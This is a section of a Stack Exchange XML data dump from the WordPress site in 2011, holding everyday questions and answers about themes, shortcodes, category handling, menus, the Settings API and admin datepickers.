  <row Id="12109" PostTypeId="2" ParentId="12107" CreationDate="2011-03-15T14:21:39.077" Score="4" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;foreach((get_the_category()) as $category) { &#xA;    if( file_exists( '/path/to/file/to/include/' . $category-&amp;gt;cat_ID . '.php' ) )&#xA;        include( '/path/to/file/to/include/' . $category-&amp;gt;cat_ID . '.php' );&#xA;} &#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That should do the trick. If the file doesn't exist, it just skips it. This can be expensive to do if you have a large amount of categories to loop through, though.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;EDIT&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;If you instead want to use custom functions on a per category basis you could do something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;// Create one function like this for each category&#xA;function my_custom_category_50(){&#xA;  // Do some awesome stuff.&#xA;}&#xA;&#xA;// Use this to loop through the categories&#xA;foreach((get_the_category()) as $category) { &#xA;  $func = 'my_custom_category_' . $category-&amp;gt;cat_ID;&#xA;  if( function_exists( $func )&#xA;    $func();&#xA;} &#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This method has the advantage of not requiring file inclusion. This advantage would be most visible if you're hitting the same category multiple times per page load.&lt;/p&gt;&#xA;" OwnerUserId="11" LastEditorUserId="11" LastEditorDisplayName="" LastEditDate="2011-03-15T18:25:32.517" LastActivityDate="2011-03-15T18:25:32.517" CommentCount="2" />
  <row Id="12111" PostTypeId="1" AcceptedAnswerId="12118" CreationDate="2011-03-15T14:22:56.517" Score="0" ViewCount="117" Body="&lt;p&gt;i've attached a local .flv video to my post (it was uploaded and is inside my mediapool).&#xA;my question: how can i display it inside my post? (the video player)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks&lt;/p&gt;&#xA;" OwnerUserId="3030" LastActivityDate="2011-03-15T14:41:33.620" Title="displaying flv-video attachment in post" Tags="&lt;posts&gt;&lt;videos&gt;" AnswerCount="2" />
  <row Id="12112" PostTypeId="1" AcceptedAnswerId="12115" CreationDate="2011-03-15T14:27:11.190" Score="0" ViewCount="160" Body="&lt;p&gt;Hi I'm trying to use this plugin: &lt;a href=&quot;http://wordpress.org/extend/plugins/wordpress-simple-website-screenshot/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/wordpress-simple-website-screenshot/&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am supposed to use the shortcode: &lt;code&gt;[screenshot url=&quot;www.example.com&quot;]&lt;/code&gt; &#xA;Because I am writing the code in the single.php file I am using: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;?php echo do_shortcode( '[screenshot url=&quot;www.example.com&quot;]' ); ?&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, my probkem is that the URL is defined in the title of the post, so I tried: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;?php echo do_shortcode( '[screenshot url=&quot;&amp;lt;?php the_title(); ?&amp;gt;&quot;]' ); ?&amp;gt;&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;with no luck.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to do a workaround on this?&lt;/p&gt;&#xA;" OwnerUserId="2188" LastActivityDate="2011-07-20T18:20:44.967" Title="Using the title of the post in a shortcode" Tags="&lt;shortcode&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="12113" PostTypeId="2" ParentId="12101" CreationDate="2011-03-15T14:30:23.823" Score="1" ViewCount="" Body="&lt;p&gt;I can't think why you'd bundle a stylesheet alongside a readme, it's viewed independantly from anything else, so why not just put that same CSS in the HTML file(seeing as you're going to have to maintain it anyway).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;style type=&quot;text/css&quot;&amp;gt;&#xA;/* &#xA;.example { }&#xA;*/&#xA;&amp;lt;/style&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Using inline styles:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pros  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;One less HTTP request&lt;/li&gt;&#xA;&lt;li&gt;No extra files to manage&lt;/li&gt;&#xA;&lt;li&gt;No need to worry about any path problems&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Cons&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;No included stylesheet(you'll have to maintain your CSS inline with the WP install.css)&lt;/li&gt;&#xA;&lt;li&gt;All styling will have to be managed(and maintained) inside the readme document &lt;strong&gt;*¹&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;&lt;/em&gt;*¹&lt;/strong&gt; - Not really a big deal, the CSS will be right near the top of the file.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;What i'd actually do though is just use an external source, that will update inline with WordPress, and you'll avoid any pathing issues(because the external path should always be valid).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe use WordPress.com as the source?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; href=&quot;http://s%NUM%.wp.com/wp-admin/css/install.css&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where %NUM% would be a numeric value(eg. 1 or 5, and so on..) to represent which server you want to pull the CSS from. I tested upto &lt;code&gt;s20.wp.com&lt;/code&gt;, not sure how high they go.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That way you at least know &lt;strong&gt;a few&lt;/strong&gt; users will have it cached already.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could also use the &lt;a href=&quot;http://svn.automattic.com/wordpress/trunk/wp-admin/css/install.css&quot; rel=&quot;nofollow&quot;&gt;WordPress.org svn&lt;/a&gt; or any number of other places that serve up WordPress CSS, i just figured WordPress.com blogs are popular and more likely to be cached.&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2011-03-15T14:30:23.823" CommentCount="2" />
  <row Id="12114" PostTypeId="2" ParentId="12100" CreationDate="2011-03-15T14:30:41.217" Score="3" ViewCount="" Body="&lt;p&gt;Yep you are missing something, On your validate_options function you need to:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;get an array of all existing options.&lt;/li&gt;&#xA;&lt;li&gt;update only the options your Submenu&#xA;page handles.&lt;/li&gt;&#xA;&lt;li&gt;return that array.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function validate_options($input){&#xA;    //do regular validation stuff&#xA;    //...&#xA;    //...&#xA;&#xA;    //get all options&#xA;    $options = get_option(THEMENAME . '_settings');&#xA;    //update only the neede options&#xA;    foreach ($input as $key =&amp;gt; $value){&#xA;        $options[$key] = $value;&#xA;    }&#xA;    //return all options&#xA;    return $options;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-03-15T14:30:41.217" CommentCount="2" />
  <row Id="12115" PostTypeId="2" ParentId="12112" CreationDate="2011-03-15T14:33:52.757" Score="2" ViewCount="" Body="&lt;p&gt;You're trying to execute PHP inside a string! Instead, concat the string;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo do_shortcode( '[screenshot url=&quot;' . get_the_title() . '&quot;]' ); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1685" LastActivityDate="2011-03-15T14:33:52.757" CommentCount="2" />
  <row Id="12116" PostTypeId="2" ParentId="12100" CreationDate="2011-03-15T14:35:04.503" Score="0" ViewCount="" Body="&lt;p&gt;&quot;Disappearing from options array&quot; sounds like it might be stashed in the &quot;notoptions&quot; array. Check that with something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  $notoptions = wp_cache_get( 'notoptions', 'options' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Worse comes to worse, maybe listen for the &lt;code&gt;add_option&lt;/code&gt; hook and see what's going on.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  do_action( 'add_option', $name, $value );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1860" LastActivityDate="2011-03-15T14:35:04.503" />
  <row Id="12117" PostTypeId="2" ParentId="12112" CreationDate="2011-03-15T14:36:47.887" Score="0" ViewCount="" Body="&lt;p&gt;Your problem is that  &lt;code&gt;&amp;lt;?php the_title(); ?&amp;gt;&lt;/code&gt; inside quotation marks doesn't really works&#xA;change:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo do_shortcode( '[screenshot url=&quot;&amp;lt;?php the_title(); ?&amp;gt;&quot;]' ); ?&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo do_shortcode( '[screenshot url=&quot;'.the_title().'&quot;]' ); ?&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-03-15T14:36:47.887" />
  <row Id="12118" PostTypeId="2" ParentId="12111" CreationDate="2011-03-15T14:39:08.070" Score="1" ViewCount="" Body="&lt;p&gt;The .flv is not a video player in itself, rather just a video file to be played in one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To display it, you'll need to play it from an actual video player. Unlike .wmv and .mp4, .flv files won't play natively in your browser without one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's a couple &lt;a href=&quot;http://videojs.com/&quot; rel=&quot;nofollow&quot;&gt;great&lt;/a&gt; open source &lt;a href=&quot;http://flowplayer.org/&quot; rel=&quot;nofollow&quot;&gt;options&lt;/a&gt; out there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are also &lt;a href=&quot;http://wordpress.org/extend/plugins/hana-flv-player/&quot; rel=&quot;nofollow&quot;&gt;a few&lt;/a&gt; &lt;a href=&quot;http://wordpress.org/extend/plugins/flv-embed/&quot; rel=&quot;nofollow&quot;&gt;plugins&lt;/a&gt; that might already have the functionality you're looking for.&lt;/p&gt;&#xA;" OwnerUserId="1860" LastActivityDate="2011-03-15T14:39:08.070" />
  <row Id="12119" PostTypeId="2" ParentId="12111" CreationDate="2011-03-15T14:41:33.620" Score="1" ViewCount="" Body="&lt;p&gt;take a look at:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/video-playlist-and-gallery-plugin/&quot; rel=&quot;nofollow&quot;&gt;Post video players, slideshow albums,&#xA;photo galleries and music / podcast&#xA;playlist&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Its a plugin that will take care of all your media needs including an flv player&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(long name for a plugin).&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-03-15T14:41:33.620" />
  <row Id="12120" PostTypeId="2" ParentId="12089" CreationDate="2011-03-15T14:51:42.360" Score="1" ViewCount="" Body="&lt;p&gt;This kind of content scraping is frowned on.  You're trying to grab someone else's content and put it into a transferable format over which they have no control.  Yes, your intentions are sincere, but don't be surprised if several people are hesitant to help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You &lt;em&gt;do&lt;/em&gt; have some options, though.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Contact the blog author&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;This is the option I'd recommend over all else.  Just send them an email and ask for a PDF version of their content that you can put on your eReader.  Asking will prevent any questions over whether or not you're stealing their content.  It also lets the author know their stuff is popular enough to publish it as an eBook.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are several plug-ins around that allow blog owners to export their entire site as a PDF eBook, so it's relatively quick and simple for the site owner to create a PDF for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://anthologize.org/&quot; rel=&quot;nofollow&quot;&gt;Anthologize&lt;/a&gt; is a great option for doing just this.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Import the site via RSS&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;If you have an Internet-enabled ebook reader (i.e. Kindle, iPad) you can just browse the site's RSS feed.  However, keep in mind that this feed will likely only include the latest 10 or so articles, not the entire site's content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also use a plug-in like Anthologize on a WordPress blog to import the content and then export everything as a PDF.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Use an online Service&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;There are a few online services that will read through and scrape the content of a site to create a PDF.  However, they often use the RSS feed of the site and will be limited to the latest posts only.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.zinepal.com&quot; rel=&quot;nofollow&quot;&gt;Zinepal&lt;/a&gt; is the latest one I've found.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;In Summary&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The reality of your situation is that there's no easy, stock way to grab all the content of a site and create a PDF ... mostly because it &lt;em&gt;is&lt;/em&gt; a frowned upon practice as I mentioned at the beginning.  If you wanted to write your own script, though, here's what it would need to do.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Find the blog's sitemap&lt;/li&gt;&#xA;&lt;li&gt;Pull down the content of every page listed in the sitemap&lt;/li&gt;&#xA;&lt;li&gt;Create a PDF from the fetched content&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;But this method would be dependent on the presence of a sitemap ... which isn't a surefire dependency.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, you can either depend on RSS and use an existing service, depend on a sitemap and create your own script, or contact the blog author directly and make a request.  I'd recommend contacting the author.  Most of us would be thrilled to get such a request.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2011-03-15T14:51:42.360" CommentCount="3" />
  <row Id="12121" PostTypeId="2" ParentId="12078" CreationDate="2011-03-15T14:58:28.017" Score="5" ViewCount="" Body="&lt;p&gt;The problem is they &lt;em&gt;are&lt;/em&gt; getting saved... it's just you're always saving the defaults!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ev_options = ev_theme_settings_defaults();&#xA;if ( false === $ev_options ) {&#xA;    $ev_options = ev_theme_settings_defaults();&#xA;}&#xA;update_option( 'theme_evolutionary_options', $ev_options );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And that's running on &lt;em&gt;every&lt;/em&gt; page load (it's hooked to the action &lt;code&gt;after_theme_setup&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not to mention the &lt;code&gt;if&lt;/code&gt; statement serves no purpose (&lt;code&gt;$ev_options&lt;/code&gt; will never be &lt;code&gt;false&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems you haven't quite understood the Settings API. The whole point is so that &lt;em&gt;you&lt;/em&gt; don't need to save the options yourself, WordPress does it for you!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm sure you've checked out the &lt;a href=&quot;http://codex.wordpress.org/Settings_API&quot; rel=&quot;nofollow&quot;&gt;Settings API&lt;/a&gt; already, although it is a little lacking. The following go into a little more detail, and also cover how to use the API to store options as an array.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.presscoders.com/wordpress-settings-api-explained/&quot; rel=&quot;nofollow&quot;&gt;Press Coders: Settings API Explained&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://ottopress.com/2009/wordpress-settings-api-tutorial/&quot; rel=&quot;nofollow&quot;&gt;Otto: Settings API Tutorial&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1685" LastActivityDate="2011-03-15T14:58:28.017" CommentCount="7" />
  <row Id="12122" PostTypeId="2" ParentId="12088" CreationDate="2011-03-15T15:00:59.387" Score="2" ViewCount="" Body="&lt;p&gt;The visibility of custom fields on the post edit screen is controlled on the post edit page.  There's a button called &quot;Screen Options&quot; towards the top of the screen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/Gnwur.png&quot; alt=&quot;Screen Options Button&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Clicking that button will display all of the available boxes and panels for the edit page.  If custom fields is not visible here, then either your theme or a plug-in is disabling the feature.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/hH5AG.png&quot; alt=&quot;Screen Options Panel&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2011-03-15T15:00:59.387" />
  <row Id="12123" PostTypeId="1" AcceptedAnswerId="12140" CreationDate="2011-03-15T15:11:12.343" Score="1" ViewCount="116" Body="&lt;p&gt;I have no use in categorizing/tagging my posts with anything, at all, and it doesn't look very good to have every post say &quot;filed under: uncategorized.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any plugin to do this, or do I need to do some manual editing?&lt;/p&gt;&#xA;" OwnerUserId="1728" LastActivityDate="2011-03-16T17:26:29.503" Title="Is there a plugin that will completely remove the category system?" Tags="&lt;categories&gt;" AnswerCount="3" />
  <row Id="12124" PostTypeId="2" ParentId="12123" CreationDate="2011-03-15T15:27:57.290" Score="0" ViewCount="" Body="&lt;p&gt;Well, from the post side, under screen options I believe you can hide the selection menus.  Just for personal/cosmetic reason.  Might as well hide them if you arent using them&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for removing it from displaying you will need to do some form of editing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It all depends on your theme though on how to do it.  You could simply delete the_category and the_tags (with surrounding text) from some themes in all the templates (index.php, single.php, archive,.php, etc)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In a theme like twentyten, you would need to edit the twentyten_posted_in function from a child theme&#xA;&lt;a href=&quot;http://go.rvoodoo.com/WPchild&quot; rel=&quot;nofollow&quot;&gt;http://go.rvoodoo.com/WPchild&lt;/a&gt;&#xA;is an article I wrote about child themes&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's hard to give real specific info without knowing the theme, or seeing the underlying code, but these are general tips&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may also be able to simply hide things if your cats and tags have classes around the using display:none in your css to target them&lt;/p&gt;&#xA;" OwnerUserId="3429" LastEditorUserId="3429" LastEditorDisplayName="" LastEditDate="2011-03-15T15:38:55.703" LastActivityDate="2011-03-15T15:38:55.703" />
  <row Id="12125" PostTypeId="2" ParentId="12123" CreationDate="2011-03-15T15:37:14.313" Score="0" ViewCount="" Body="&lt;p&gt;Pretty easy. &lt;a href=&quot;https://gist.github.com/870890&quot; rel=&quot;nofollow&quot;&gt;Here's a function&lt;/a&gt; that will allow you to do the same to all &lt;code&gt;_builtin&lt;/code&gt; taxonomies. You will have to uncomment if you want to get some feedback. The second function shows the result in your &lt;code&gt;wp_footer()&lt;/code&gt; hook at a priority of 999. &lt;a href=&quot;https://gist.github.com/870890&quot; rel=&quot;nofollow&quot;&gt;Here's the link&lt;/a&gt;. You just have to put it into your &lt;code&gt;functions.php&lt;/code&gt; file of your theme. The meta box on post edit screen disappears magically. Also: tested and works.&lt;/p&gt;&#xA;" OwnerUserId="385" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-03-16T17:26:29.503" LastActivityDate="2011-03-16T17:26:29.503" CommentCount="6" />
  <row Id="12126" PostTypeId="1" CreationDate="2011-03-15T15:42:31.193" Score="1" ViewCount="265" Body="&lt;p&gt;I am bit busy with developing one fashion website, currently (http://test-domain.zakirsajib.co.uk/), where I have images come from posts and when mouse will hover on any image, the corresponding post title and post excerpt will de displayed. Couldn't make it happen though :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any clue will be helpful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Site is developing in wordpress enviornment, so any php and css (though css parts are done, just need bit help from php part)&lt;/p&gt;&#xA;" OwnerUserId="2824" LastActivityDate="2011-03-15T16:41:30.487" Title="How to display post title &amp; excerpt when mouse hovers on an image?" Tags="&lt;3.0&gt;&lt;css&gt;&lt;title&gt;&lt;img&gt;" AnswerCount="3" />
  <row Id="12127" PostTypeId="1" CreationDate="2011-03-15T15:43:01.003" Score="0" ViewCount="251" Body="&lt;p&gt;I'm currently implementing wp_nav_menu - all has gone well save for dynamic highlighting. The menu code looks like this (when home, which is a custom link, is selected): &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;menu-header&quot;&amp;gt;&#xA;&amp;lt;ul class=&quot;menu&quot; id=&quot;menu-main-nav&quot;&amp;gt;&#xA;&amp;lt;li class=&quot;menu-item menu-item-type-custom menu-item-object-custom menu-item-126&quot; id=&quot;menu-item-126&quot;&amp;gt;&amp;lt;a href=&quot;path.to.link&quot;&amp;gt;Home&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;li class=&quot;menu-item menu-item-type-post_type menu-item-object-page menu-item-122&quot; id=&quot;menu-item-122&quot;&amp;gt;&amp;lt;a href=&quot;path.to.link&quot;&amp;gt;Information&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;li class=&quot;menu-item menu-item-type-post_type menu-item-object-page menu-item-123&quot; id=&quot;menu-item-123&quot;&amp;gt;&amp;lt;a href=&quot;path.to.link&quot;&amp;gt;Contact&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;li class=&quot;menu-item menu-item-type-post_type menu-item-object-page menu-item-124&quot; id=&quot;menu-item-124&quot;&amp;gt;&amp;lt;a href=&quot;path.to.link&quot;&amp;gt;About&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When a page other than home (which is a 'custom link') is selected this is written out:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;li class=&quot;menu-item menu-item-type-post_type menu-item-object-page current-menu-item page_item page-item-65 current_page_item menu-item-122&quot; id=&quot;menu-item-122&quot;&amp;gt;&amp;lt;a href=&quot;path.to.link&quot;&amp;gt;Information&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can see this includes an active style 'current-menu-item' where the custom link only writes 'menu-item-type-custom menu-item-object-custom'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my question is is there any way to add a selected item style for custom links in wp3 menus?&lt;/p&gt;&#xA;" OwnerUserId="3782" LastActivityDate="2011-06-14T01:01:55.710" Title="Wordpress 3 menus: dynamic highlighting problem with custom links" Tags="&lt;php&gt;&lt;custom-menus&gt;&lt;menus&gt;" AnswerCount="1" />
  <row Id="12128" PostTypeId="2" ParentId="11652" CreationDate="2011-03-15T15:48:34.323" Score="1" ViewCount="" Body="&lt;p&gt;It's worth saying that I recently encountered a problem where all links in my site began to 404 the solution turned out to be deleting the htaccess and remaking all the permalink settings. Have you tried that?&lt;/p&gt;&#xA;" OwnerUserId="3782" LastActivityDate="2011-03-15T15:48:34.323" CommentCount="3" />
  <row Id="12129" PostTypeId="2" ParentId="12126" CreationDate="2011-03-15T15:57:14.923" Score="1" ViewCount="" Body="&lt;p&gt;could you just set it up in the alt and title field for the image?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;img src=&quot;whatev&quot; alt=&quot;&amp;lt;?php the_title(); ?&amp;gt;: &amp;lt;?php the_excerpt(); ?&amp;gt;&quot; title=&quot;same code as alt&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Of course this would only work in a WP loop, but I assume we are in a loop if you are displaying images?  &lt;/p&gt;&#xA;" OwnerUserId="3429" LastEditorUserId="3429" LastEditorDisplayName="" LastEditDate="2011-03-15T16:41:30.487" LastActivityDate="2011-03-15T16:41:30.487" />
  <row Id="12130" PostTypeId="2" ParentId="12126" CreationDate="2011-03-15T15:58:01.570" Score="1" ViewCount="" Body="&lt;p&gt;I think the php you'll need to put into your template is &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php the_title();?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php the_excerpt();?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Wrapped up in whatever you are using to do the hover&lt;/p&gt;&#xA;" OwnerUserId="3782" LastActivityDate="2011-03-15T15:58:01.570" />
  <row Id="12131" PostTypeId="1" AcceptedAnswerId="12175" CreationDate="2011-03-15T16:04:35.507" Score="0" ViewCount="587" Body="&lt;p&gt;I created a custom post type with a couple of fields where the user can enter the start date and the end date for a project.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am trying to implement the jQuery datepicker but nothing happens when I click on the input fields using 1.7.3; if I use 1.8 it throws an error &lt;code&gt;$(input).zIndex is not a function&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the function&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  function webfolio_show_timespan_box(){&#xA;  ?&amp;gt;&#xA;  &amp;lt;script type=&quot;text/javascript&quot; src=&quot;&amp;lt;?php bloginfo('stylesheet_directory')?&amp;gt;/js/jquery.ui-core.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;  &amp;lt;script type=&quot;text/javascript&quot; src=&quot;&amp;lt;?php bloginfo('stylesheet_directory')?&amp;gt;/js/jquery.picker.min.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;  &amp;lt;link type=&quot;text/css&quot; rel=&quot;stylesheet&quot; href=&quot;&amp;lt;?php bloginfo('stylesheet_directory')?&amp;gt;/css/smoothness/jquery.custom.css&quot; /&amp;gt;&#xA;  &amp;lt;script&amp;gt;&#xA;   jQuery(function() {&#xA;    jQuery( &quot;.datepicker&quot; ).datepicker();&#xA;   });&#xA;    &amp;lt;/script&amp;gt;&#xA;    &amp;lt;?php&#xA;    global $timespan_box, $post, $prefix;&#xA;&#xA;    echo '&amp;lt;input type=&quot;hidden&quot; name=&quot;webfolio_meta_box_nonce&quot; value=&quot;',    wp_create_nonce(basename(__FILE__)), '&quot; /&amp;gt;';&#xA;&#xA;     echo '&amp;lt;table class=&quot;form-table&quot;&amp;gt;';&#xA;&#xA;     foreach ($timespan_box['fields'] as $field) {&#xA;        // get current post meta data&#xA;        $meta = get_post_meta($post-&amp;gt;ID, $field['id'], true);&#xA;&#xA;        echo '&amp;lt;tr style=&quot;border:1px solid #e3e3e3;&quot;&amp;gt;',&#xA;            '&amp;lt;th style=&quot;width:20%; font-weight:bold;&quot;&amp;gt;&amp;lt;label for=&quot;', $field['id'], '&quot;&amp;gt;', $field['name'], '&amp;lt;/label&amp;gt;&amp;lt;/th&amp;gt;',&#xA;            '&amp;lt;td&amp;gt;';&#xA;        echo '&amp;lt;input class=&quot;datepicker&quot; type=&quot;text&quot; name=&quot;', $field['id'], '&quot; id=&quot;', $field['id'], '&quot; value=&quot;', $meta ? $meta : $field['std'], '&quot; size=&quot;30&quot; style=&quot;width:20%&quot; /&amp;gt;', '&amp;lt;br /&amp;gt;', $field['desc'];&#xA;        echo '&amp;lt;td&amp;gt;&amp;lt;/tr&amp;gt;';&#xA;       }&#xA;&#xA;    echo '&amp;lt;/table&amp;gt;';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thank you for your help&lt;/p&gt;&#xA;" OwnerUserId="2618" LastEditorUserId="2618" LastEditorDisplayName="" LastEditDate="2011-03-15T22:16:00.370" LastActivityDate="2011-03-16T00:43:41.273" Title="Add jQuery UI datepicker to admin panel" Tags="&lt;datepicker&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="12132" PostTypeId="1" AcceptedAnswerId="12142" CreationDate="2011-03-15T16:08:21.463" Score="0" ViewCount="46" Body="&lt;p&gt;How to list all existing sidebars? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to show them all in the drop down list (so each item should have also the right value).&lt;/p&gt;&#xA;" OwnerUserId="1869" LastActivityDate="2011-03-17T20:32:17.370" Title="Listing all sidebars" Tags="&lt;plugins&gt;&lt;widgets&gt;&lt;sidebar&gt;&lt;list&gt;" AnswerCount="1" />
